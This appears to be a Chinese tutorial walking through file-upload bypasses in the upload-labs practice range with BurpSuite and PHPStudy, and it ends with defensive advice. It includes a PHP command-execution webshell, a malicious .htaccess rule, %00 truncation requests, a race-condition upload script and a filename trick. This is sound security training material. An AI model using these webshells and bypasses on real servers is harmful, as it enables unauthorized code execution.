当前位置: 首页 > news >正文

从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势

从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势

在渗透测试的学习过程中,文件上传漏洞一直是Web安全领域的重要课题。upload-labs靶场作为专门针对上传漏洞设计的实战环境,包含了19种不同类型的上传绕过场景。本文将聚焦五种最具代表性的绕过技术,结合BurpSuite和PHPStudy工具链,从环境配置到实战操作,手把手带你攻克这些经典关卡。

1. 环境准备与基础配置

1.1 PHPStudy环境搭建与调优

首先需要确保PHPStudy环境正确配置。许多初学者在复现upload-labs时会遇到PHP版本不兼容的问题,特别是涉及特殊后缀解析(如.php5、.phtml)的关卡。以下是关键配置步骤:

  1. 下载并安装最新版PHPStudy(推荐V8.1版本)
  2. 修改httpd-conf文件中的PHP解析规则:
    # 原始配置(注释状态) #AddType application/x-httpd-php .php .phtml # 修改为(移除注释并扩展后缀) AddType application/x-httpd-php .php .phtml .php5 .php3
  3. 调整php.ini中的关键参数:
    magic_quotes_gpc = Off ; 影响%00截断的关键设置 short_open_tag = On ; 允许<?短标签

注意:修改配置后必须重启Apache服务才能生效。若遇到端口冲突,可在PHPStudy面板中修改默认80端口。

1.2 BurpSuite抓包环境配置

BurpSuite是分析上传漏洞的利器,正确配置代理至关重要:

  1. 浏览器设置代理为127.0.0.1:8080
  2. 在BurpSuite的Proxy -> Options中确认监听端口
  3. 安装CA证书以避免HTTPS流量拦截问题:
    # 证书安装命令(Windows) certmgr.msc

常见问题排查表:

问题现象可能原因解决方案
无法拦截HTTP请求代理未生效检查浏览器代理设置
HTTPS网站显示异常证书未信任重新安装CA证书
拦截后页面加载失败拦截模式错误关闭Intercept或调整Scope

2. 黑名单绕过:.htaccess攻击实战

2.1 原理剖析

当服务器采用黑名单机制时,攻击者可通过上传.htaccess文件覆盖Apache解析规则。这种攻击在upload-labs第4关尤为典型:

  1. 服务器仅禁止.php.php5等后缀
  2. 未限制.htaccess文件上传
  3. 通过该文件将任意后缀(如.png)解析为PHP

2.2 分步操作指南

  1. 创建恶意.htaccess文件:
    AddType application/x-httpd-php .png
  2. 使用BurpSuite拦截上传请求:
    • 修改Content-Type: text/plain
    • 确保文件名保持.htaccess不变
  3. 上传PHP代码文件(后缀改为.png):
    <?php system($_GET['cmd']);?>
  4. 访问上传的.png文件,附加命令参数:
    http://target/upload/shell.png?cmd=whoami

关键点:部分Windows系统无法直接创建.htaccess文件,可通过以下命令生成:

echo AddType application/x-httpd-php .png > .htaccess

3. %00截断:白名单绕过的经典手法

3.1 技术背景

%00截断是PHP历史版本(<5.3.4)的特性漏洞,在upload-labs第11、12关中需要此技术。其核心原理是:

  • NULL字符(%00)会终止字符串处理
  • 可截断白名单校验后的路径拼接
  • 需要magic_quotes_gpc=Off环境

3.2 实战演示

以第11关为例的操作流程:

  1. 上传合法后缀文件(如test.png)
  2. BurpSuite拦截POST请求,修改路径参数:
    save_path=../upload/shell.php%00
  3. 观察响应中的文件存储位置:
    • 预期结果:文件应保存为shell.php
    • 错误情况:若仍为.png后缀,检查PHP版本

对于第12关(POST型截断),需要额外进行URL解码:

  1. 原始修改:
    save_path=../upload/shell.php%00
  2. 选中%00右键选择Convert selection -> URL -> URL-decode
  3. 发送请求后验证文件解析

版本兼容性对照表:

PHP版本magic_quotes_gpc截断效果
5.2.17Off有效
5.4.45Off无效
7.0.0+任何设置无效

4. 条件竞争:时间差攻击的艺术

4.1 漏洞机理

当服务器采用"上传-校验-删除"流程时(如第17关),可能通过条件竞争在删除前访问文件。这种攻击依赖:

  1. 文件上传后短暂存在于服务器
  2. 校验删除操作存在时间窗口
  3. 高速并发访问可能命中该窗口

4.2 BurpSuite自动化攻击

  1. 正常上传PHP文件并拦截请求
  2. 发送到Intruder模块,设置空载荷
  3. 配置线程数为50+,持续发送请求
  4. 同时浏览器不断刷新访问该PHP文件

优化攻击的Python脚本示例:

import requests import threading target_url = "http://target/upload/shell.php" upload_url = "http://target/upload.php" def upload(): while True: requests.post(upload_url, files={'file': open('shell.php','rb')}) def access(): while True: r = requests.get(target_url) if r.status_code == 200: print("Success!") break threads = [] for _ in range(10): t = threading.Thread(target=upload) t.start() threads.append(t) for _ in range(30): t = threading.Thread(target=access) t.start() threads.append(t)

5. move_uploaded_file特性利用

5.1 函数特性分析

第19关展示了move_uploaded_file()的特殊行为:

  • 自动忽略文件末尾的/.
  • 不受路径规范化影响
  • 可绕过部分后缀检查

5.2 完整攻击链

  1. 准备正常图片文件(如1.png)
  2. BurpSuite拦截上传请求,修改文件名:
    filename="1.png/."
  3. 服务器端实际保存为1.png
  4. 配合文件包含漏洞执行代码

对比其他关卡,该技术的独特优势:

技术类型依赖条件适用版本
.htaccessAllowOverride All所有Apache
%00截断PHP<5.3.4旧版环境
条件竞争存在时间窗口所有环境
move特性函数实现特性所有PHP版本

6. 防御方案与实战建议

6.1 安全开发规范

  1. 采用白名单验证文件后缀
  2. 文件重命名存储(如MD5值)
  3. 禁用危险函数(如putenv
  4. 设置open_basedir限制访问范围

6.3 渗透测试技巧

  • 多维度测试组合:
    graph LR A[前端绕过] --> B[Content-Type修改] B --> C[后缀大小写] C --> D[特殊字符截断] D --> E[二次渲染绕过]
  • 真实环境与靶场差异:
    • CDN可能拦截恶意上传
    • WAF规则需要针对性绕过
    • 容器特性影响解析行为

在本地复现时遇到最多的问题是PHPStudy环境配置不当导致解析异常。建议每次修改配置后:

  1. 重启所有相关服务
  2. 清除浏览器缓存
  3. 使用全新测试文件验证
http://www.jsqmd.com/news/745648/

相关文章:

  • 基于Flask的Pixoo像素画框REST API网关:从封装原理到智能家居集成实战
  • 2026年4月宁波高端的床品门店推荐,备婚家纺/备婚床品/四铺四盖套件/乔迁套件/家纺/八铺八盖套件,床品门店选哪家 - 品牌推荐师
  • 3024. 三角形类型
  • 5分钟快速上手:TegraRcmGUI图形化界面让Nintendo Switch破解变得简单
  • 为团队统一开发环境使用 TaoToken CLI 一键配置多工具 API 密钥
  • 产品经理必看的博弈论实战:用Hotelling模型分析为什么奶茶店总扎堆开业
  • 告别ChatGPT依赖:用Ollama+Open WebUI在Linux服务器上打造你的私有AI知识库
  • Kemono Downloader终极指南:WinUI3批量下载工具深度解析与实战应用
  • 【限时技术窗口期】Java向量API兼容性断层预警:JDK 25→26将移除Beta标记,但现有代码需在Q3前完成VectorMask迁移(含自动化转换工具链)
  • 从Simulink模型到AUTOSAR代码:手把手演示Embedded Coder生成嵌入式C代码的全流程
  • 碧蓝航线自动脚本Alas:告别重复刷图,轻松享受策略乐趣
  • React Native动画:优雅移除DOM元素
  • 告别内存碎片烦恼:手把手教你用Linux scatterlist高效管理DMA传输
  • 八大网盘直链解析神器:告别限速困扰的智能下载解决方案
  • BaiduPCS-Go错误处理机制深度解析:从错误码到故障排查的完整技术实现
  • Dify插件开发指南:扩展AI工作流与自定义工具集成实践
  • 2026疏油层耐用钢化膜最新推荐:品牌实力测评,高性价比之选出炉 - 博客湾
  • 从电路到代码:零极点分析如何帮你避开运放振荡和滤波器设计的大坑?
  • 基于安卓的敏感文件加密保险箱系统毕业设计源码
  • 网盘直链下载助手完整指南:告别限速,获取真实下载地址
  • 智能图片去重利器:AntiDupl.NET如何拯救你的存储空间与工作效率
  • AI在C++上面能力弱的原因
  • 别再死记硬背!用5个经典C语言改错案例,彻底搞懂指针与内存管理
  • 智能客服系统集成Taotoken实现多模型话术优化与降本
  • 2026年4月景观设计团队推荐,屋顶花园设计/民宿规划设计/景观设计/寺庙景观设计,景观设计维护团队怎么选 - 品牌推荐师
  • Java低代码内核安全防线全拆解,从表达式注入、Ognl沙箱逃逸到RCE零日漏洞防御实战
  • Vue.js Ajax(axios)
  • Mule 4 DataWeave的灵活处理:JSON数组的映射实例
  • 第二章 · 鸟瞰全局 第 5 篇:银行系统分层体系总览
  • 基于安卓的物业巡检与工单管理系统毕业设计